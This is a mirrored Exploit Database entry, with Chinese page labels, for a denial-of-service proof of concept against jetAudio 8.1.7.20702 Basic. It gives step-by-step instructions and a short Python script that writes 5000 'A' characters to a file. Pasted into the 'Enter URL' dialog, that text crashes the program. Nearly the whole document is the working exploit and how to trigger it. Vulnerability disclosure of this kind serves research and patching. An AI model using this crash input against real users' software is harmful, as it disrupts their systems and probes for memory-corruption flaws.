jetAudio 8.1.7.20702 Basic – ‘Enter URL’ Denial of Service (PoC)

• Exploit Database
• 43 阅读

• 作者： Victor Mondragón
  日期： 2019-05-08
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/46810/

• #Exploit Title:jetAudio 8.1.7.20702 Basic - Denial of Service (PoC)
  #Discovery by: Victor Mondragón
  #Discovery Date: 2019-05-07
  #Vendor Homepage: http://www.jetaudio.com/
  #Software Link: http://www.jetaudio.com/download/
  #Tested Version: 8.1.7.20702
  #Tested on: Windows 7 Service Pack 1 x64 / Windows 10 Single Language x64
  
  #Steps to produce the crash:
  #1.- Run python code: jetAudio_8.1.7.20702.py
  #2.- Open jetAudio.txt and copy content to clipboard
  #2.- Open jetAudio 
  #3.- Select Menu > Basic Controls > Open URL...
  #4.- In "Enter URL" Paste ClipBoard after "http://" 
  #5.- Click on "Ok"
  #6.- Crashed
  
  cod = "\x41" * 5000
  f = open('jetAudio.txt', 'w')
  f.write(cod)
  f.close()